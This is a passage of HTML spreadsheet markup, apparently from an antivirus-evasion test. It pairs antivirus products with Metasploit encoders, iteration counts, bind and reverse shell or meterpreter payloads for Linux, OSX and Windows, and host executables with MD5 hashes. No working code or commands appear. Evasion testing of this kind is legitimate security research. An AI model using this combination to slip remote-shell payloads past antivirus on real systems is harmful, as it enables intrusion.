border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;1&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;generic/custom  (Linux &amp;amp; OSX &amp;amp; Windows)&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;calc.exe  (0adf66d67ba98090cd5ce9166a7e323f)&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;AntiVir&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;cmd/ifs&lt;/td&gt;  &lt;td class="xl64" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;5&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;linux/x86/meterpreter/bind_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;cmd.exe  (6d778e0f95447e6546553eeea709d03c)&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Antiy-AVL&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;cmd/printf_php_mq&lt;/td&gt;  &lt;td class="xl64" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;10&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;linux/x86/meterpreter/reverse_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;default  - template_x86_windows.exe (99addd5248236a60aeddbc35024cd2ab)&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Avast&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;generic/none&lt;/td&gt;  &lt;td class="xl64" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;25&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;linux/x86/shell/bind_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;default - template_x86_linux.bin  (8892430dd8bdfdc29abdcba9560b4d66)&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Avast5&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;mipsbe/longxor&lt;/td&gt;  &lt;td class="xl64" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;100&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;linux/x86/shell/reverse_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;default  - template_x86_darwin.bin (3c1738e7a0f1428d0ddb7d4e15cd4f1b)&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;AVG&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;mipsle/longxor&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;linux/x86/shell_bind_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;mspaint.exe  (a68da24239c7ba6c424e1aeae7aa3e7a)&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;BitDefender&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;php/base64&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;linux/x86/shell_reverse_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;write.exe  (bb75ed2cea65d2de97e88fde1b1a0bf8)&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;ByteHero&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;ppc/longxor&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;linux/x86/shell_reverse_tcp2-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;CAT-QuickHeal&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;ppc/longxor_tag&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;osx/x86/shell_bind_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;ClamAV&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;sparc/longxor_tag&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;osx/x86/shell_reverse_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Commtouch&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x64/xor&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;osx/x86/vforkshell/bind_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Comodo&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/alpha_mixed&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;osx/x86/vforkshell/reverse_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;DrWeb&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/alpha_upper&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;osx/x86/vforkshell_bind_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Emsisoft&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/avoid_utf8_tolower&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;osx/x86/vforkshell_reverse_tcp-default&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;eSafe&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/call4_dword_xor&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;windows/meterpreter/bind_tcp&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;eTrust-Vet&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/context_cpuid&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;windows/meterpreter/reverse_tcp&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;F-Prot&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/context_stat&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;windows/shell/bind_tcp&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;F-Secure&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/context_time&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;windows/shell/reverse_tcp&lt;/td&gt;  &lt;td style="background: #DCE6F1; 